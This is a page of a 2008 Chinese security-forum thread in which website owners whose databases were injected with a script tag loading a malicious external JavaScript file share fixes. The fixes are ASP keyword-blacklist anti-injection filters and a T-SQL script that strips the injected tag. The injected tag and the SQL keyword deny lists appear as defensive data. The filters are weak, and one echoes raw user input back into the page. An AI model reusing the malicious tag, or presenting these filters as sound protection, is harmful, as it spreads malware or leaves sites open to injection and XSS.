瑞星卡卡安全论坛技术交流区入侵防御(HIPS) 求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

12345678»   4  /  9  页   跳转

求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

回复: 求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

我的也这样子了,,怎么办啊,,网站都已经停了两天了。。我的是租万网的空间,,怎么加防注代码啊????希望高手们帮忙
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

同命相邻.... 我也中得很惨....还没有找到好的解决方法,,,请求高手指点....  顶上
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

这个是今天有位朋友提示的:可以参与试一下

防水代码,这是简约的做法


简单的,只是堵住注水,只要把以下代码粘贴到数据库打开的页面,比如 conn.asp等页,从源头堵住注水:


function CheckInputSecurity()

Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr

'由于管理需要的不同,get方法和post提交时,对关键字的敏感程序要求不一样,post提交可以低一些
'post
Fy_In = "'|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare"
'get
Fy_In_get = "'|*|%|@|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare"

Fy_Inf = split(Fy_In,"|")
'--------对POST部份进行安全验证------------------
If Request.Form<>"" Then
  For Each Fy_Post In Request.Form
    For Fy_Xh=0 To Ubound(Fy_Inf)
      If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
        Response.Write "<Script Language=JavaScript>alert('严重警告:请不要在参数中包含非法字符尝试注入!');</Script>"
        Response.End
      End If
    Next
  Next
End If
'----------------------------------

'--------GET部份进行安全验证-------------------
Fy_Inf = split(Fy_In_get,"|")
If Request.QueryString<>"" Then
  For Each Fy_Get In Request.QueryString
    For Fy_Xh=0 To Ubound(Fy_Inf)
      If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
        Response.Write "<Script Language=JavaScript>alert('严重警告:请不要在参数中包含非法字符尝试注入!');</Script>"
        Response.End
      End If
    Next
  Next
End If

end function

call CheckInputSecurity()
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

'--------这是另外一个补充版本的防注水代码------------------
'这个需要创建一个 t_web_sys_hackinfo 的 表,保存了黑客攻击的信息,名手攻击时的IP,所传的值,访问页面\时间等....
'由于需要保存数据,这个要求放在数据库打开之后.
'--------定义部份------------------以下为代码:

function check_user_input()
'--------版权说明------------------
'SQL通用防注入程序
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
'自定义需要过滤的字串,用 "|" 分隔
'由于管理需要的不同,get方法和post提交时,对关键字的敏感程序要求不一样,post提交可以低一些
'post
Fy_In = "'|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare"
'get
Fy_In_get = "[email=]'|*|%|@|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare[/email]"
'----------------------------------
Fy_Inf = split(Fy_In,"|")
'--------POST部份------------------
If Request.Form<>"" Then
  For Each Fy_Post In Request.Form
    For Fy_Xh=0 To Ubound(Fy_Inf)
      If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
        '--------写入数据库--头--------
        Conn.Execute("insert into t_web_sys_hackinfo(IP,link,way,inputname,content) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
        '--------写入数据库--尾--------
        Response.Write "<Script Language=JavaScript>alert('严重警告:请不要在参数中包含非法字符尝试注入!');</Script>"
        Response.Write "非法操作:系统做了如下记录<br>"
        Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
        Response.Write "操作时间:"&Now&"<br>"
        Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
        Response.Write "提交方式:POST<br>"
        Response.Write "提交参数:"&Fy_Post&"<br>"
        Response.Write "提交数据:"&Request.Form(Fy_Post)
        Response.End
      End If
    Next
  Next
End If
'----------------------------------
'--------GET部份-------------------
Fy_Inf = split(Fy_In_get,"|")
If Request.QueryString<>"" Then
  For Each Fy_Get In Request.QueryString
    For Fy_Xh=0 To Ubound(Fy_Inf)
      If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
        '--------写入数据库--头--------
        Conn.Execute("insert into t_web_sys_hackinfo(IP,link,way,inputname,content) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
        '--------写入数据库--尾--------
        Response.Write "<Script Language=JavaScript>alert('严重警告:请不要在参数中包含非法字符尝试注入!');</Script>"
        Response.Write "非法操作:系统做了如下记录<br>"
        Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
        Response.Write "操作时间:"&Now&"<br>"
        Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
        Response.Write "提交方式:GET<br>"
        Response.Write "提交参数:"&Fy_Get&"<br>"
        Response.Write "提交数据:"&Request.QueryString(Fy_Get)
        Response.End
      End If
    Next
  Next
End If
end function
call check_user_input()

创建表的代码:

CREATE TABLE [dbo].[t_web_sys_hackinfo] (
        [id_] [int] IDENTITY (1, 1) NOT NULL ,
        [IP] [varchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
        [link] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
        [inputname] [varchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
        [way] [varchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
        [content] [text] COLLATE Chinese_PRC_CI_AS NULL ,
        [dateandtime] [datetime] NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

ALTER TABLE [dbo].[t_web_sys_hackinfo] ADD
        CONSTRAINT [DF_t_web_sys_hackinfo_dateandtime] DEFAULT (getdate()) FOR [dateandtime]
GO
gototop
 

回复 1F allenxing 的帖子

这木马与asp页面无关.
解决办法如下:
1.打开mssql企业管理器,将Windows身份验证用户:BUILTIN\Administrators的安全性访问选为:拒绝访问.
2.打开查询分析器,将非法字符串replace掉,本人做了个小代码段,遍历数据库所有的[字符串字段],将定义的字符串去掉,可以为大家效劳一下.

/***********定义要去除的字符,请注意,可能不止一条,我的服务器就查到两条************/
declare @delStr nvarchar(500)
set @delStr='<script src=http://cn.daxia123.cn/cn.js></script>'
--set @delStr='<script src=http://cn.jxmmtv.com/cn.js></script>'
/****************************************/

/**********以下为操作实体************/
set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
  declare cur1 cursor for
        --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型
        select name from syscolumns where xtype in (231,167,239,175) and id=@tbID
  open cur1
  fetch next from cur1 into @columnName
  while @@fetch_status=0
  begin
      set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''     
      exec sp_executesql @sql     
      set @iRow=@@rowcount
      set @iResult=@iResult+@iRow
      if @iRow>0
      begin
     print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
      end     
      fetch next from cur1 into @columnName


  end
  close cur1
  deallocate cur1
 
  fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off
/*****以上为操作实体******/
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

非常感谢水上飞云 ,想问一下,你如何确定和asp页面无关呢?
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

以前备份做的勤所以一直都是用还原数据库的方法,刚看到水上飞云的代码,我尝试了一下,省下了不少麻烦,但是不能替换ntext和text的,这两种就只能手动替换了吗?
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

我的数据库服务器没查到有text 和ntext类别的出问题,不知你们的如何?
gototop
 

回复: 求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击



引用:
原帖由 huangguaxuan 于 2008-12-28 10:38:00 发表
非常感谢水上飞云 ,想问一下,你如何确定和asp页面无关呢?



估计这木马是在服务器里运行着的,所以数据库访问权限会很高,我将windows访问权限设为"拒绝访问"后几天都没事.
gototop
 

回复:求助!被http://cn.daxia123.cn/cn.js入侵或者是病毒、攻击

谢谢水上飞云,希望将windows访问权限设为"拒绝访问"后能消停会,快被折腾死了,哎,以前做的那些防注入对于这次的攻击完全派不上用场也许是做的还不到家。尝试中。。。有了结果再说吧。。。。
gototop
 
12345678»   4  /  9  页   跳转
页面顶部
Powered by Discuz!NT